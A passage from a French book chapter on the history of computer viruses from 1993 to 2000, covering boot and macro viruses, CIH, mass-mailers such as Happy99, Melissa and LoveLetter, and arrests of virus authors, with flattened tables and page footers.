• En septembre 1995, Rainbow rend tout PC infecté totalement inaccessible depuis un environnement sain. Il exploite une vulnérabilité du DOS. Grâce à une chaîne hexadécimale particulière positionnée dans la table de partition, il devient impossible de démarrer la machine depuis une disquette saine. Le processus d’abouti pas et la machine reste figée sans atteindre le prompt DOS1. • Avant lui, en 1993, Monkey utilisait une autre technique moins sophistiquée : le démarrage depuis une disquette saine aboutissait, mais le disque dur était invisible. Il fallait l’atteindre en mode physique pour rétablir correctement la définition des disques logiques. • En juillet 1993, la première WILDList est postée par Joe Wells. Dix chercheurs y annoncent les 47 virus qu’ils ont effectivement rencontrés en dehors de leurs laboratoires ou de leurs zoos. L’expression in-the-wild est née !
2.11.2 Quelques arrestations L’alerte Michelangelo a motivé les autorités de plusieurs pays. Des recherches sont faites et quelques auteurs de virus sont facilement identifiés. En décembre 1992, puis le 27 janvier 1993 des membres du groupe ARCV (Association of Really Cruel Viruses) sont arrêtés dans diverses villes de Grande-Bretagne. Ils sont accusés d’être les auteurs de plus de 50 virus2. C’est initialement pour une affaire en lien avec des fraudes téléphoniques que Stephen Kapp, connu pour être le président d’ARCV, est interpellé. Divers membres du groupe sont connus par leur pseudo :
© Dunod – La photocopie non autorisée est un délit
• • • •
Apache Warrior (Stephen Kapp). Ice-9. Toxic Crusader. Slartibartfast.
En mars 1994, Virus Bulletin annonce la découverte d’un nouveau virus en Grande Bretagne3. Dénommé SMEG-Pathogen, il a été découvert in-the-wild. Destructeur et hautement polymorphique, il contient divers subterfuges rendant sa détection difficile. Il est signé Black Baron. Le New Scotland Yard arête un suspect à Plymouth ; c’est un chômeur britannique de 26 ans du nom de Christopher Pile. Il reconnaît les faits, le 26 mai 1995, il est reconnu coupable et condamné à 18 mois de prison4.
1. KAMINSKY Jakub (1995), Rainbow : To Envy or to Hate, Virus Bulletin, septembre 1995, pp 12-13. 2. VB, 1992b, The ARCV, Virus Bulletin, novembre 1992, pp 3-4. 3. VB, 1994a, Pathogen Virus Warning, Virus Bulletin, mars 1994, p 3. 4. VB, 1995, “Black Baron” Pleads Guilty, Virus Bulletin, juin 1995, p 3.
PAGET_Ch02 Page 64 Lundi, 11. avril 2005 5:25 17
64
Chapitre 2. Historique – de l’innocence à la tentation criminelle
2.11.3 Goodtimes & Gt-Spoof L’une des plus fameuses rumeurs voit également le jour en 1994. Portant le nom de Goodtimes, elle circule sur Internet et annonce qu’un virus se propage par e-mail1. Du fait de sa persistance, le CIAC (Computer Incident Advisory Capability) émet un avertissement en décembre 1994. Il indique clairement qu’il s’agit d’une légende urbaine, d’un hoax2. Au même moment, le 21 décembre, Joël McNamara diffuse de manière limitée une étude sur la macro DMV3. Il indique que c’est cette rumeur qui l’a décidé à écrire. Il veut démontrer la faisabilité de la propagation d’un virus par e-mail, pour peu que la messagerie utilisée offre l’ouverture automatique d’un document joint (l’abréviation DMV signifie Document Macro Virus). Aujourd’hui, la réalité a de loin dépassée la fiction. En 1995, le code source d’un virus dénommé Good Times sera distribué dans le magazine VLAD#4 (Virus Labs And Dist). Son auteur, surnommé Qark, cherche à perturber le public. Le virus utilise un générateur polymorphique dénommé RHINCE (Rickety and Hardly Insidious yet New Chaos Engine). Dans le code source du virus, on retrouve le message : Remember to email all your friends, warning them about Good Times. Pour éviter toute confusion, les sociétés antivirales décideront de le baptiser GTSpoof4.
2.12 1995 – 1999 – L’ARRIVÉE DES VIRUS INTERPRÈTES En 1995, Vesselin Bontchev termine sa thèse. Il quitte l’université de Hambourg ou il participait activement aux travaux du Virus Test Center. Il rejoind F-PROT Development en Islande. Aux États Unis, McAfee décide la création du groupe AVERT5. En associant à leur équipe de Santa Clara des chercheurs issus d’autres pays, ils vont, petit à petit, étendre leur capacité de réactivé face à des virus apparaissant aux divers points de la planète. 1. Hoax : Faux virus et vrais rumeurs : https://www.clusif.asso.fr/fr/production/infovir/hoaxes/g02.asp. 2. CIAC, 1994, THE "Good Times" VIRUS IS AN URBAN LEGEND, Document disponible à l’adresse : http://ciac.llnl.gov/ciac/notes/Notes04c.shtml. 3. http://www.eskimo.com/~joelm La page en question a aujourd’hui disparu. Sur son site, Joël McNamara propose maintenant ses livres. Certains d’entre eux traitent de la sécurité informatique. 4. VB, 1995b, No Good Times Here !, Virus Bulletin, juin 1995, p 3. 5. AVERT : Anti-Virus Emergency Response Team.
PAGET_Ch02 Page 65 Lundi, 11. avril 2005 5:25 17
2.12 1995 – 1999 – L’arrivée des virus interprètes
65
En octobre 1994, je rejoignais la petite équipe de VIF/ASSURDATA. C’était elle qui, en France, diffusait les produits McAfee. Avec Marius Van Oers (McAfee Hollande), nous sommes les deux premiers européens à rejoindre AVERT. Les virus de macros font leur apparition durant l’été 1995. Comme nous avons dit précédemment, l’idée n’est pas nouvelle, mais cette mise en circulation contraint les entreprises à réviser leur politique de sécurité. En effet, il leur faut intégrer le fait que les virus ne se propagent plus exclusivement via un programme exécutable mais aussi par le biais de fichiers bureautiques que l’on avait tendance à considérer comme de simples fichiers de données.
2.12.1 WM/Concept Le virus est découvert en août 1995 par Sarah Gordon (Command Software Systems)1. Il n’est pas plus dangereux que les autres mais il utilise un nouveau type de transport : les documents Word. Le virus se présente sous la forme de plusieurs macros créées en Word Basic. L’une d’entre elle s’exécute automatiquement à l’ouverture du document. Une autre permet l’infection de tout nouveau document sauvegardé. Le virus fonctionne avec Word, aussi bien sous DOS, sous Windows que sous Macintosh (versions 5, 6 & 7). Jimmy Kuo alors directeur du groupe AVERT de McAfee propose le nom de Concept.
© Dunod – La photocopie non autorisée est un délit
La rumeur prétend que le virus a été diffusé accidentellement par Microsoft2. Le nom d’alias Prank (escapade en anglais) aurait d’ailleurs été choisi par cette société afin d’espérer diminuer l’importance de l’affaire. C’est dans un document de type FAQ3, écrit par Richard John Martin, que l’on trouve l’information la plus détaillée4. Dans l’urgence, et alors que d’autres macro-virus apparaissent, Microsoft livre un correctif nommé ScanProt. L’intention originelle était la protection contre Concept.A et la mise à disposition d’un mécanisme d’alerte pour les utilisateurs ouvrant un document contenant des macros. Bien involontairement, les diverses versions de ScanProt participèrent à la propagation des virus en véhiculant certains d’entre eux. Le compagnonnage entre un virus existant et ScanProt aboutit même par la création de variantes. Les concepteurs de produits anti-virus ne recommandèrent pas la solution ScanProt. Ils modifièrent leurs produits en y intégrant des solutions applicables à tout nouveau virus écrit en Word Basic. 1. GORDON Sarah, (1995b), What a (Winword) Concept, Virus Bulletin, septembre 1995, pp 8-9. 2. VB, 1995a, Winword.Concept, Virus Bulletin, octobre 1995, p 3. 3. FAQ : Frequently Asked Question. 4. MARTIN, Richard John (1996), MS WORD 6.x MACRO VIRUSES FAQ V2.0 for the ALT.COMP.VIRUS Newsgroup. Document disponible à l’adresse : http://www.textfiles.com/virus/ wordmacro.txt.
PAGET_Ch02 Page 66 Lundi, 11. avril 2005 5:25 17
66
Chapitre 2. Historique – de l’innocence à la tentation criminelle
Also known by the Aliases of WW6Macro, WinWord.Concept, Word Basic Macro Virus (WBMV), Word Macro 9508 <MAC> and Prank Macro <MicroSoft named it Prank, to downplay the seriousness of the situation>. This was the first MS Macro Virus to be detected by the Anti-Virus community, and the first Macro Virus to be considered in the wild, with infections spreading to the US, UK, France, Germany, Bulgaria, Canada, the Netherlands, Turkey, and Finland, and other Countries. The proliferation of this virus is widespread, mainly due to 2 companies ACCIDENTLY shipping this virus in infected documents found on their CD-ROMS. The first CD-ROM was… MicroSoft Windows ’95 Software Compatibility Test which was shipped to thousands of OEM companies in mid 1995. In August/September Microsoft distributed the Concept virus on a CD-ROM in the UK called… "The Microsoft Office 95 and Windows 95 Business Guide" The infected file is \Office95\Evidence\Helpdesk.DOC, dated August 17th, 1995, <121,856 bytes> The third CD was… Snap-On Tools for Windows NT which was distributed by ServerWare, who immediately withdrew it, warned recipients, and re-mastered it. MicroSoft Corp. is to be commended for acknowledging their part in the spreading of this new virus, and their effort in controlling the spread of it. They were quick to respond to this new Virus threat with a Macro Scanner/Cleaner which is available freely for download from MSN and associated services. Figure 2.1 — L’origine supposée de Winword.Concept
2.12.2 W95/Boza & Linux/Staog by Quantum Sous le pseudo de Quantum se cache l’auteur du premier virus ciblant Windows 95. Étant le premier à infecter les fichiers PE1, il atteint une certaine notoriété dès février 1996. W95/Boza2 est pourtant un virus très simple et non-résident en mémoire. Le 31 de chaque mois, il affiche une boite de dialogue reprenant la liste des membres du groupe auquel l’auteur appartient (Metabolis, Qark, Darkman, Automag, Antigen, RhinceWind, Quantum, Absolute Overlord & CoKe). Outre ce message, le virus contient le texte : Please note : the name of this virus is [Bizatch] written by Quantum of VLAD. La communauté antivirale lui préfèrera le nom de Boza.
1. PE est l’abréviation relative au format des fichiers exécutables 32-bits de Windows (Portable Executable). 2. VB, 1995d, Hot 95 : New Kids on the Block, Virus Bulletin, février 1995, pp 15-16.
PAGET_Ch02 Page 67 Lundi, 11. avril 2005 5:25 17
2.12 1995 – 1999 – L’arrivée des virus interprètes
67
Avec toute une série de tutoriaux, le code source du virus fut présenté dans le numéro 6 de VLAD. Dans le numéro suivant, Quantum présente le premier virus ciblant Linux. Il le dénomme Staog et ne fonctionne que sur des machines possédant un noyau 1.2.13. C’est un virus écrit en assembleur. Résident en mémoire, il infecte les fichiers au format ELF1 dès qu’ils sont exécutés. Les premiers virus ciblant le système d’exploitation OS2 voient aussi le jour en juin 1995 (OS2/DA, OS2first et OS2/DA.Jiskefet). Souvent annoncé comme le premier virus lié à ce système d’exploitation, OS2.AEP n’apparaîtra qu’un an plus tard.
2.12.3 L’invasion des macro-virus Après la réussite médiatique de Concept, Excel était la prochaine cible. Il fallut attendre juillet 1996, pour voir apparaître XM/Laroux, premier virus de macro opérationnel sous Excel version 5.0 et supérieures2. Également découvert par Sarah Gordon, il se différentiait de ses cousins par l’utilisation du langage VBA (Visual Basic for Application). À cette époque, seuls Excel et Access étaient dotés de ce langage. Word se limitait encore au Word Basic. En janvier 1997, Microsoft diffuse Office 97. Word et PowerPoint reçoivent une extension supportant le VBA. À l’ouverture d’un document Word d’ancienne génération, les macros écrites en Word Basic se convertissent automatiquement au nouveau format.
© Dunod – La photocopie non autorisée est un délit
En février 1997, l’histoire se répète, Microsoft diffuse à son insu la nouvelle version de WM/Wazzu.A3. Elle prendra le nom de W97M/Wazzu.A. Ces 2 souches d’un même virus sont totalement différentes. Les anti-virus qui détectaient sans problème la première ne détectent plus la seconde. Le phénomène se reproduit sans discontinuer avec de nombreux autres virus écrits en Word Basic. Certains concepteurs de produits anti-virus sont tentés de faire eux même le travail de conversion pour tous les virus de leurs collections et une polémique s’installe. Les uns disent qu’il n’est pas éthique de faire cette mutation car elle s’apparente à la création d’un nouveau virus. Les autres argumentent que du fait qu’un de leur client peut le faire, ils se doivent de le devancer pour le protéger. Les premiers virus ciblant Word et directement écrits en VBA5 ne tardent pas à apparaître. L’un d’entre eux s’intitule W97M/NightShade, il ne se propage qu’avec Office 97 et utilise l’Assistant Office pour annoncer sa présence. Le code viral qui ne consiste qu’en une seule macro est inclus dans un nouveau module reprenant le nom du virus4. 1. ELF est l’abréviation relative au format des fichiers exécutables du monde UNIX (Executable Linkable Format ). 2. GORDON Sarah (1996), Excel Yourself !, Virus Bulletin, août 1996, pp 9-10. 3. VB, 1997a, The Word of the Day, Virus Bulletin, mars 1997, pp 6-7. 4. KILLING Martin (juin 1997), Deadly NightShade, Virus Bulletin, juin 1997, pp 9-10.
PAGET_Ch02 Page 68 Lundi, 11. avril 2005 5:25 17
68
Chapitre 2. Historique – de l’innocence à la tentation criminelle
En juin 1997, une autre technique d’infection voit le jour. W97M/Class n’ajoute pas de module VBA5 ; il positionne son code dans le module préexistant : ThisDocument. 2 ans après WM/Concept, le cap des 1000 macro-virus est atteint. Cherchant à contrer leur propagation, Microsoft sort un correctif. Microsoft Office 97 Service Release 1 (SR-1) neutralise certains processus de propagation virale. En Avril 1998, W97M/Groov devient le premier virus anti-SR-1. Tableau 2.1 — Évolution du nombre de macro-virus d’après les diverses Macro Virus List préparées par Vesselin Bontcheva Nombre de familles
Date
Nombre de virus
Nombre de générateurs
Août 1995
1
1
Juillet 1996
27
35
Décembre 1996
84
205
5
Juillet 1997
253
1193
10
Décembre 1997
317
1826
11
Avril 1998
383
2306
12
Décembre 1998
533
3333
13
Juin 1999
703
4132
17
Septembre 1999
775
4593
17
Mai 2000
946
5664
17
Décembre 2000
1048
6488
55
Juin 2001
1106
6831
Septembre 2001
1134
6855
a. BONTCHEV Vesselin (1996-2001), Macro Virus List. Documents disponibles à l’adresse : ftp://agn-www.informatik.uni-hamburg.de/pub/texts/macro/.
Toute la suite Office de Microsoft est bientôt atteinte dans ses différentes versions. Malgré quelques tentatives, les autres plates-formes telles que Lotus ou Corel ne seront jamais une véritable cible. Les auteurs de virus préfèrent s’acharner sur le leader mondial. Au cours de ces années, la principale surprise vient de France, en janvier 1998. Elle se nomme XF/Paix. C’est un virus qui utilise le langage des formules propre à Excel 4.0. Bien que faiblement documenté, il est toujours présent dans les versions
PAGET_Ch02 Page 69 Lundi, 11. avril 2005 5:25 17
69
2.12 1995 – 1999 – L’arrivée des virus interprètes
suivantes d’Excel. Le virus n’utilise pas de macro, mais des formules positionnées dans les zones de données d’une feuille de calcul qu’il crée et maintient invisible aux utilisateurs. Le virus se manifeste de façon aléatoire : 1 chance sur 100. Il bloque alors la session de travail Excel en affichant une fenêtre intitulée Enfin la Paix… Entre 1996 et 1998, les virus système disparaissent petit à petit. Alors qu’ils représentaient 80 % environ des alertes virales recensées en 1995, la tendance s’inverse en faveur des macro-virus qui, en 1998, constitueront plus de 80 % des alertes. Tableau 2.2 — Principaux virus rencontrés en France de 1996 à 1998
© Dunod – La photocopie non autorisée est un délit
1996 (de janvier à septembre)
1997
1998
JUMPER-B
Boot
WM/CAP
Macro
WM/WAZZU.EC
Macro
INT-AA
Boot
WM/NPAD
Macro
WM/CAP
Macro
FORM
Boot
WM/MDMA
Macro
WM/WAZZU.DO
Macro
ANTIEXE
Boot
WM/WAZZU
Macro
WM/INEXIST
Macro
PARITY BOOT
Boot
JUMPER.B
Boot
W32/HLLP.DE TROIE
Fichier
STONED SPIRIT
Boot
FORM
Boot
XF/PAIX
Formule
ANTICMOS
Boot
PARITY BOOT
Boot
JUMPER.B
Boot
WM/CONCEPT
Macro
ANTIEXE
Boot
FORM
Boot
JUNKIE
Boot
PARITY BOOT
Boot
MONKEY
Boot
2.12.4 La naissance de Network Associates Inc. Alors que les macro-virus sont sur le devant de la scène, McAfee Associates distribue VirusScan depuis plus de 8 ans. Les versions du produit ne cessent d’évoluer. Un premier bouleversement majeur se produit en juillet 1994, McAfee sort alors la dernière mise à jour de sa version 1. Il s’agit de la version 9.30V117 de VirusScan. Elle est annoncée détectant 1939 virus. Si l’on comptabilise les variantes, le total de virus détecté s’élève à 2901. Trois mois avant cette V117, en avril 1994, McAfee VirusScan 2.00 voyait le jour. Cette nouvelle version apporta son lot de soucis techniques et de nombreux utilisateurs regrettèrent un bon moment l’ancien produit.
PAGET_Ch02 Page 70 Lundi, 11. avril 2005 5:25 17
70
Chapitre 2. Historique – de l’innocence à la tentation criminelle
La version 3 vint en 1997. Cette même année, en décembre, était scellée la naissance de Network Associates1 issue de la fusion des sociétés McAfee Associates et Network General. Moins d’un an plus tard, le 9 Juin 1998, NAI procédait à l’acquisition de Dr Solomon Corp. Ce regroupement marqua un tournant incontestable et permit à VirusScan de devenir l’un des meilleurs produits du marché.
2.12.5 Le retour des virus programme Deux ans après W95/Boza et parallèlement, à l’invasion des macro-virus, une autre tendance se dessine: les virus s’attaquant aux plates-formes Windows sont de plus en plus nombreux. Certains d’entre eux ont, sans aucun doute, demandé des centaines d’heures de recherche, voire un travail d’équipe. Leur diffusion ne se limite malheureusement pas à certains sites discrets d’Internet. Des CD-ROMs et des sites légaux propagent W32/Marburg et W95/CIH. La majorité des diffusions se fait en juillet 19982. Ces nouvelles techniques d’infection représentent aussi un nouveau défi pour les auteurs de virus. C’est sans doute la principale raison de cette croissance. Tableau 2.3 — Accroissement du nombre de virus programme W95/W32 entre 1996 et 1999 1996 8
1997 24
1998 73
1999 160
1999 Q1 31
Q2 52
Q3 77
L’une des stars de l’époque resta dans les TOP-10 jusqu’en 2003, il s’agit de W95/ CIH. Les initiales du virus sont celles de son auteur (Chen Ing-hau). Le virus est aussi connu comme le virus Tchernobyl en référence a la date de son déclenchement : le 26 avril, date anniversaire de la catastrophe nucléaire. Le virus apparaît à la mi-juin 98 à Taiwan. Des groupes de pirates et quelques sites commerciaux sont infectés et comme nous l’avons vu le virus se propage alors via des jeux et des magazines. Plus tard, en mars 1999, des ordinateurs neufs Aptiva, vendus par IBM, colporteront également le virus. 1. Chacun sait que l’histoire est un éternel recommencement. Le 7 juillet 2004, la société reprit son nom d’origine pour se concentrer sur le développement de systèmes de prévention d’intrusion tout en continuant à développer et à vendre ses solutions antivirales. 2. Virus Bulletin, 1998. Anti-CIH-pating the Future, Août 1998, p2. Marburg Follow-up, Août 1998, p3. More-burg, Septembre 1998, p4. CD Coverage, Octobre 1998, p2.
PAGET_Ch02 Page 71 Lundi, 11. avril 2005 5:25 17
2.12 1995 – 1999 – L’arrivée des virus interprètes
71
Même s’il n’infecte que les fichiers .exe de Windows 95 et 98, le virus est particulièrement dangereux. Quand il active sa gâchette, en général le 26 avril, il écrase une partie du disque et détériore le contenu de la mémoire flash de certains Pentium. En réécrivant un octet dans le block de démarrage de ceux-ci, les machines deviennent inutilisables jusqu’à la réinitialisation du BIOS. La variante la plus courante contient le texte CIH v1.2 Il s’agit de W95/ CIH.1003. Bien d’autres variantes ont ensuite vu le jour ; citons : • W95/CIH.1010.A et W95/CIH.1010.B qui s’activent le 26 juin et contiennent le texte CIH v1.3 TTIT. • W95/CIH.1019 qui s’active le 26 de chaque mois et contient le texte CIH v1.4 TATUNG.
2.12.6 Rabbit : Le lapin ! Avec l’arrivée de Windows 98, un nouveau langage autonome intitulé Visual Basic Scripting Edition, VBScript en abrégé, est proposé pour aider à la conception de scripts. Permettant entre autre la création de suites de commandes se rapprochant du traitement par lots du DOS (fichiers .bat), il détrôna rapidement ce dernier. Dérivé de Visual Basic for Applications (VBA), lui-même issu de Visual Basic, il était en fait apparu avec la mise à jour SR2 de Windows 95. Alors qu’il fallait à l’origine en demander l’installation, il se retrouve maintenant mis en place par défaut dans les nouvelles versions de Windows.
© Dunod – La photocopie non autorisée est un délit
Puissant, simple d’utilisation et reposant sur du code source en clair ; tout un chacun peut voir et modifier le code des scripts qu’il rencontre. D’un point de vue viral, le langage est d’abord utilisé comme technique d’appoint par les auteurs de macro-virus. Cet artifice leur permet d’activer de nouvelles fonctions malveillantes et de contourner des processus de sécurité tels que ceux introduits par Office-97 SR1. Il est ainsi possible d’exécuter des scripts FTP (W97M/ Groov) ou d’interagir avec des outils de messagerie (W97M/Coldape.A). Les premiers virus purement VBScript apparaissent en 1998. Le nom de famille de ces nouveaux venus est VBSV. En raison de leurs capacités de propagation hors du commun, un nom d’alias plus parlant fut donné à l’un d’entre eux : Rabbit (en français : lapin)1. De 1999 à 2001, leur nombre augmenta parallèlement à la généralisation de ce nouveau langage.
1. MUSSTOPF G, (1999), A New Type of Viruses, or Looking Back in Rage at …?, EICAR News, janvier 1999, Volume 6, numéro 1.
PAGET_Ch02 Page 72 Lundi, 11. avril 2005 5:25 17
72
Chapitre 2. Historique – de l’innocence à la tentation criminelle
2.13 1999 – 2000 – L’INVASION DES « MASS-MAILERS » Durant cette période, les macro-virus sont toujours d’actualité, ils laissent cependant de plus en plus la place aux virus de script (VBScript et JavaScript) et aux virus programmes. Tableau 2.4 — Principaux virus rencontrés en France en 1999 et 2000 1999
2000
W32/SKA@M
W95/W32
JS/KAK@M
Script
WM/CAP.A
Macro
VBS/LOVELETTER.A@MM
Script
W97M/MARKER.C
Macro
VBS/STAGES.A@MM
Script
W97M/CLASS.D
Macro
W32/NAVIDAD@M
W95/W32
W97M/ETHAN.A
Macro
W32/SKA@M
W95/W32
W32/PRETTYPARK@MM
W95/W32
VBS/LOVELETTER.AS@MM
Script
W95/CIH.1003
W95/W32
W97M/ETHAN.A
Macro
W97M/MELISSA.A@MM
Macro
W97M/MARKER.C
Macro
097M/TRISTATE.C
Macro
W32/MTX@M
W95/W32
W32/EXPLOREZIP.worm@M
W95/W32
W32/HYBRIS.B@MM
W95/W32
En cette fin de siècle, l’utilisation des disquettes se raréfie ; les échanges informatiques par e-mail prennent le relais et les virus s’engouffrent eux aussi dans cette nouvelle voie. Ces nouveaux venus que l’on nommera plus tard mass-mailers vont tout d’abord se propager par l’entremise d’une pièce jointe ; ils sauront vite s’en dispenser.
2.13.1 Happy 99 Le premier virus mondialement connu qui exploite la messagerie électronique apparaît en janvier 1999. Il est français et le public le surnomme Happy-99. Son nom officiel est W32/Ska@M. Il arrive en tant que pièce jointe et, une fois installé sur la machine, s’expédie de lui-même comme un doublon, chaque fois qu’un courrier est émis vers un destinataire. L’animation mise en œuvre lors du double-clic sur la pièce jointe infectée représente un feu d’artifice. Il lui faudra plus de 6 mois pour faire son premier tour du monde. Un an après sa mise en circulation, W32/Ska@M faisait toujours parti du TOP-10 mondial. Son auteur, Spanska, est français. Il en explicite le code dans le numéro 4
PAGET_Ch02 Page 73 Lundi, 11. avril 2005 5:25 17
2.13 1999 – 2000 – L’invasion des « MASS-MAILERS »
73
© Dunod – La photocopie non autorisée est un délit
de la publication électronique du groupe 29A. Dans un texte de plusieurs pages en anglais, il tente également de se justifier. J’en ai retenu, puis traduit, le contenu suivant : C’est un virus car il infecte wsock32.dll. C’est un ver car il se propage via le courrier électronique et les groupes de discussion. C’est un cheval de Troie car il cache sa vraie nature et exige une certaine participation de la part de l’utilisateur ciblé. J’ai conçu ce code à la suite d’un constat manifeste: de nos jours, les gens échangent plus de courrier électronique via Internet que de programmes ou de disquettes. Si nous souhaitons obtenir le plus grand nombre d’infections dans la nature, nous devons revoir nos techniques actuelles. L’unité minimale d’infection ne s’établie plus au niveau de l’exécutable mais au niveau de la machine interconnectée. Il n’est nullement utile d’infecter 500 fichiers sur une même machine. Un seul suffit. Pensez alors à tous les nouveaux venus sur l’Internet, à tous ceux qui ont acheté un ordinateur pour Noël, et qui ignorent tout de la sécurité. Ces victimes parfaites forment un groupe suffisamment grand pour espérer une infection massive. J’affirme que les virus utilisant Internet seront les programmes autoreproducteurs de demain. En effet, 1999 fut l’année des vers. Mon virus est conçu pour ne rien détruire sur les machines infectées. Il s’agit juste d’un sympathique autostoppeur qui utilise votre connexion Internet pour voyager. Pour vous remercier du voyage, il vous offre une petite animation. J’ai même pris soin de rendre ce ver très facile à éliminer par un utilisateur de compétence moyenne n’ayant pas d’antivirus. Ceci est en contradiction avec les règles générales liées à l’écriture des virus. Pour moi, Happy est un morceau de code expérimental, qui s’avéra fonctionner étonnamment bien, encore mieux que je le pensais. À l’époque ou j’écris ceci, Happy99 a un an d’age. La chose drôle, c’est qu’il continue à se propager, même s’il le fait plus lentement. C’est vraiment fascinant de constater que toutes ces infections sont issues de 4 ou 5 courriers envoyés à de pauvres victimes soigneusement choisies après avoir étudié, durant une semaine, leur comportement dans les groupes de discussion et de cyberbavardage ou ils étaient régulièrement présents (fondamentalement, leur connaissance informatique était faible, ils étaient curieux, aimaient à échanger des cartes postales électroniques ou des plaisanteries: il était alors très facile de les amener à exécuter Happy par le biais d’un social engineering basique). Parfois je souhaiterai connaître le cheminement total de l’infection, comprendre comment toutes ces ramifications ont démarré et se sont développées, appréhender chacun des courriers échangés et suivre l’intégralité du parcours qui permit à certains d’entre eux de me revenir à la fin de leur périple. Il est fascinant pour penser aux voyages d’Happy tandis que des idées sont échangées par des personnes au travers le monde. C’est comme un petit morceau de bois dérivant sur le flot des informations et suivant les routes mises à sa disposition. Vous pouvez rire, mais je trouve ceci très poétique. Mais tout cela démontre une autre chose. Les virus n’ont pas besoin d’être très complexes pour être efficaces. Techniquement parlant, Happy99 est très simple. Pas de
PAGET_Ch02 Page 74 Lundi, 11. avril 2005 5:25 17
74
Chapitre 2. Historique – de l’innocence à la tentation criminelle
cryptage, pas de polymorphisme, aucune complexité pour se maintenir résident en mémoire, aucune astuce particulière. Fondamentalement, il s’agit juste d’une dll stupide, implantée dans le système par un dropper pour détourner certaines API wsock32. C’est tout.
2.13.2 Melissa En 1997, Dr Solomon’s Software mettait en service un outil de recherche automatique de virus intitulé Virus Patrol. Toujours en service, ce robot, analyse en permanence les contributions USENET et examine celles qui contiennent du code exécutable. Le résultat est mis à la disposition de la communauté anti-virale qui intègre ainsi de nombreux nouveaux virus ou chevaux de Troie chaque mois. C’est ainsi que fut découvert sur un NewsGroup à caractère sexuel, le vendredi 26 mars 1999, un fichier list.doc supposé contenir une liste de mots de passe permettant d’atteindre gratuitement des sites pornographiques normalement payants. Dans une belle unanimité, l’ensemble des professionnels se mit au travail et proposa dans les heures qui suivirent des mises à jour pour la détection et pour l’éradication de ce nouveau venu. Profitant de ce répit et utilisant une nouvelle technique de propagation le virus fit rapidement le tour de la planète. L’alerte passée, tout le monde s’est accordé pour dire n’avoir jamais rencontré jusque là, un virus se propageant aussi rapidement. Le virus fut baptisé W97M/Melissa. Il se présentait sous la forme d’un fichier attaché se propageant automatiquement via Outlook-98. Le sujet du message était : Important Message From <nom> Ou <nom> était le nom complet de l’utilisateur qui était censé en être l’expéditeur. Le corps du message contenait : Here is that document you asked for … don’t show anyone else ;-) À son ouverture, le virus interrogeait la liste des contacts du Carnet d’Adresse Global et générait un message qu’il envoyait simultanément aux 50 premières personnes de cette liste. Plusieurs commentaires intriguèrent les chercheurs, l’un d’eux, inscrit dans le code, disait : ’WORD/Melissa written by Kwyjibo. ’Works in both Word 2000 and Word 97. ’Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide! ’Word -> Email | Word 97 <--> Word 2000 … it’s a new age! Si un fichier infecté était ouvert alors que les minutes de l’heure étaient égales au jour du mois le texte suivant était inséré dans le document courant :
PAGET_Ch02 Page 75 Lundi, 11. avril 2005 5:25 17
2.13 1999 – 2000 – L’invasion des « MASS-MAILERS »
75
“Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game’s over. I’m outta here. » On découvrit vite que les noms Kwyjibo et Outa étaient ceux de personnages de la série TV : Les Simpsons. Une fois démasqué, l’auteur présumé indiqua que le nom du virus lui avait été inspiré par une strip-teaseuse de Floride qu’il admirait Grâce aux informations fournies par Virus Patrol, la traque ne dura que quelques jours. Les soupcons se confirmèrent lorsque les enquêteurs comparèrent le GUID (Global Unique Identifier) de l’ordinateur du suspect avec celui enregistré dans le fichier original diffusé sur Internet. L’idée avancée par Microsoft après la découverte de l’existence de cet identifiant par Robert Smith1 2 était d’améliorer le service en facilitant le travail des supports techniques et des outils de mise à jour automatique. Les vives critiques émises à l’encontre de Microsoft ont depuis entraîné sa suppression des divers documents créés depuis la suite Office. David L. Smith, âgé de 30 ans, fut arrêté dans le New Jersey (États-Unis) par les autorités fédérales le 1er avril 1999. Sa condamnation fut prononcée en mai 2002. Une première peine, de 20 mois de prison, fut émise par un juge fédéral. Une seconde, de dix ans d’emprisonnement, le fut par un tribunal du New Jersey. En définitive, David Smith ne purgera que la première peine.
© Dunod – La photocopie non autorisée est un délit
Ce GUID fit couler beaucoup d’encre. De nombreuses personnes recherchèrent dans d’anciens virus cette même signature. On soupçonna rapidement David de s’être caché sous le pseudonyme de Vicodines, auteur de nombreux virus dont W97M/ Class.A. Même si aucune preuve formelle n’a pu être apportée publiquement, il semble acquis aujourd’hui que ces 2 personnes n’en font qu’une.
2.13.3 LoveLetter En mai 2000, VBS/LoveLetter.A@MM3 semait une panique planétaire. Connu également sous le nom de I Love You ou de Love Bug, il fut créé aux Philippines. Selon certaines sources, 45 millions de mails infectés circulèrent en un mois4 et, durant cette période, 2 à 3 millions de personnes auraient cliqué sur la pièce jointe en infectant leur machine et en participant à la propagation générale.
1. MARKOFF, John (7 mars 1999), Microsoft to Alter Software in Response to Privacy Concerns. Document disponible à l’adresse : http://www.nytimes.com/library/tech/99/03/biztech/articles/07soft.html. 2. Robert Smith, à ne pas confondre avec David, l’auteur de Melissa ! 3. FITZGERALD, Nick (2000a), When Love came the Town, Virus Bulletin, juin 2000, pp 6-7. 4. Les chiffres les plus alarmistes annoncent 40 millions d’ordinateurs : (http://www.kasperskylabs.com/news.html?id=101).
PAGET_Ch02 Page 76 Lundi, 11. avril 2005 5:25 17
76
Chapitre 2. Historique – de l’innocence à la tentation criminelle
La première société anti-virale à recevoir le virus était située aux Philippines. Il était en France 1 h du matin; c’était le 4 mai 1999, dans la nuit du mercredi au jeudi. Rien d’alarmant cependant ne se produisit avant 7 h ; mais, vers 10 h, de nombreux groupes de discussion étaient envahis et le virus s’attaquait parallèlement au courrier électronique. S’il fallut plus de 6 mois à W32/Ska@M et 2 jours à W97M/Melissa.A@MM pour faire son tour du monde, quelques heures suffirent à ce dernier. Ma première alerte en France survint vers 9 h 45; ce grand compte français comptabilisait déjà 4.500.000 mails infectés. Ce jour là certains supports techniques européens reçurent entre 6000 et 10000 appels. Devant l’insistance des journalistes, le CLUSIF annonça (trop rapidement) que seul 10 % des grands comptes français avaient été sérieusement touchés. Pour ma part, j’estime que 70 à 80 % des entreprises françaises ont rencontré le virus. Même sans réel dommage, elles ont été perturbées. Nombre d’entre elles ont fermé leur messagerie pour un ou plusieurs jours. La soudaineté de l’alerte a entraîné l’activation de procédures d’urgence. Beaucoup d’entreprises ne semblaient pas être préparées à cela. Ils méconnaissaient parfois les procédures automatiques de télédistribution des mises à jour. Cet état de fait a sans aucun doute aggravé les perturbations et les pertes financières. Pour certains, les pertes annoncées semblèrent exagérées : 47 milliards de Francs, 900 Francs par PC infecté. Elles intégraient tous les frais annexes dont le temps perdu lié à l’arrêt 